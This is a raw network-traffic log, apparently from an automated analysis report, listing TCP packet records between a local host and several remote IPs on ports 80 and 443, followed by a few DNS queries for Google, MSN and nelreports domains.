Nov 20, 2024 14:43:47.203861952 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.203867912 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.203907967 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.203919888 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.204209089 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.204222918 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.204276085 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.204972029 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.204983950 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.205028057 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.206000090 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.206012964 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.206063986 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.211374044 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.211395025 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.211431026 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.211450100 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.211468935 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.211492062 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.211993933 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.212035894 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.212074995 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.212081909 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.212110043 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.212121010 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.219582081 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.219624043 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.219656944 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.219664097 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.219690084 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.219707012 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.223460913 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.223494053 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.223546028 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.223555088 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.223582029 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.223617077 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.230145931 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.230166912 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.230221033 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.230230093 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.230609894 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.233731031 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.233755112 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.233828068 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.233828068 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.233855009 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.233989000 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.237977982 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.238009930 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.238040924 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.238046885 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.238075018 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.238101006 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.244956017 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.245007038 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.245187998 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.245409012 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.245424986 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.245488882 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.245495081 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.245524883 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.245524883 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.245547056 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.245557070 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.245570898 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.245596886 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.246354103 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.246680021 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.246690989 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.246735096 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.247639894 CET	443	49898	18.173.219.84	192.168.2.6
Nov 20, 2024 14:43:47.247728109 CET	443	49898	18.173.219.84	192.168.2.6
Nov 20, 2024 14:43:47.247733116 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.247745037 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.247798920 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.247802019 CET	49898	443	192.168.2.6	18.173.219.84
Nov 20, 2024 14:43:47.248440027 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.248524904 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.248586893 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.249418020 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.249439001 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.249463081 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.249495029 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.250194073 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.250305891 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.250354052 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.251068115 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.251127958 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.251926899 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.252114058 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.252177000 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.252187014 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.252302885 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.252583027 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.252598047 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.252665043 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.252670050 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.252865076 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.252960920 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.252974033 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.253017902 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.253143072 CET	49898	443	192.168.2.6	18.173.219.84
Nov 20, 2024 14:43:47.253159046 CET	443	49898	18.173.219.84	192.168.2.6
Nov 20, 2024 14:43:47.253859043 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.253878117 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.253901958 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.253921032 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.254523993 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.254591942 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.260274887 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.260292053 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.260387897 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.260394096 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.260448933 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.266841888 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.266871929 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.266915083 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.266920090 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.266963959 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.275383949 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.275402069 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.275456905 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.275463104 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.275491953 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.275724888 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.293698072 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.293718100 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.293766975 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.293781996 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.293821096 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.293836117 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.310745955 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.310776949 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.310833931 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.310833931 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.311193943 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.311238050 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.311290026 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.311342955 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.312058926 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.312066078 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.312156916 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.313036919 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.313076019 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.313095093 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.313235044 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.313851118 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.313858032 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.313944101 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.314764977 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.315052986 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.315180063 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.315536022 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.315593004 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.316117048 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.316135883 CET	443	49908	20.110.205.119	192.168.2.6
Nov 20, 2024 14:43:47.316298962 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.316478014 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.316555977 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.316582918 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.316608906 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.317405939 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.317460060 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.317632914 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.317907095 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.318259001 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.318334103 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.318339109 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.318392992 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.319096088 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.319174051 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.319245100 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.319334030 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.320179939 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.320313931 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.320333958 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.320358038 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.320872068 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.320934057 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.337897062 CET	49908	443	192.168.2.6	20.110.205.119
Nov 20, 2024 14:43:47.337924957 CET	443	49908	20.110.205.119	192.168.2.6
Nov 20, 2024 14:43:47.339097977 CET	443	49908	20.110.205.119	192.168.2.6
Nov 20, 2024 14:43:47.340789080 CET	49908	443	192.168.2.6	20.110.205.119
Nov 20, 2024 14:43:47.340929985 CET	49908	443	192.168.2.6	20.110.205.119
Nov 20, 2024 14:43:47.340935946 CET	443	49908	20.110.205.119	192.168.2.6
Nov 20, 2024 14:43:47.340965033 CET	443	49908	20.110.205.119	192.168.2.6
Nov 20, 2024 14:43:47.359446049 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.359469891 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.359570026 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.359630108 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.359666109 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.359889030 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.359889030 CET	443	49906	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:47.360044956 CET	443	49905	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:47.360938072 CET	49906	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:47.360953093 CET	443	49906	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:47.361321926 CET	443	49906	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:47.361758947 CET	49906	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:47.361821890 CET	443	49906	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:47.361943007 CET	49906	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:47.362181902 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.362238884 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.362279892 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.362299919 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.362343073 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.362343073 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.365341902 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.365358114 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.365430117 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.365439892 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.365550041 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.366695881 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.366727114 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.366782904 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.366801977 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.366827965 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.366836071 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.370810032 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.370861053 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.370918989 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.370932102 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.370964050 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.371479034 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.371653080 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.371670008 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.371772051 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.371781111 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.371922970 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.372225046 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.372251987 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.372292042 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.372298956 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.372334957 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.372350931 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.376633883 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.376651049 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.376733065 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.376741886 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.376784086 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.377768040 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.377813101 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.377870083 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.377882004 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.377909899 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.378104925 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.378739119 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.378757954 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.378835917 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.379000902 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.379008055 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.379066944 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.379990101 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.380059958 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.380230904 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.380445004 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.380739927 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.380764961 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.380830050 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.380840063 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.380867004 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.380883932 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.380980968 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.381181002 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.381251097 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.381691933 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.381786108 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.381807089 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.381855965 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.382271051 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.382437944 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.382929087 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.382947922 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.382996082 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.383013010 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.383027077 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.383029938 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.383033991 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.383047104 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.383053064 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.383264065 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.383955956 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.383963108 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.384016991 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.384752035 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.384839058 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.384881020 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.384943008 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.385711908 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.385719061 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.385905027 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.386253119 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.386389017 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.386432886 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.386464119 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.386490107 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.386652946 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.386688948 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.386868954 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.387860060 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.387904882 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.387943029 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.387962103 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.387989044 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.388006926 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.388511896 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.388536930 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.388598919 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.388607025 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.388637066 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.388653994 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.393266916 CET	49905	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:47.393286943 CET	443	49905	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:47.394294024 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.394310951 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.394383907 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.394392967 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.394742966 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.394767046 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.394810915 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.394821882 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.394840956 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.394865036 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.394882917 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.396415949 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.396476030 CET	443	49894	150.171.27.10	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 14:43:18.312625885 CET	192.168.2.6	1.1.1.1	0xbcfb	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 14:43:18.312933922 CET	192.168.2.6	1.1.1.1	0x9e4e	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 20, 2024 14:43:25.348908901 CET	192.168.2.6	1.1.1.1	0x377c	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 14:43:25.349087954 CET	192.168.2.6	1.1.1.1	0x65a7	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 20, 2024 14:43:29.434783936 CET	192.168.2.6	1.1.1.1	0x2c19	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 14:43:29.434931040 CET	192.168.2.6	1.1.1.1	0xfe88	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 20, 2024 14:43:32.521414995 CET	192.168.2.6	1.1.1.1	0x6187	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
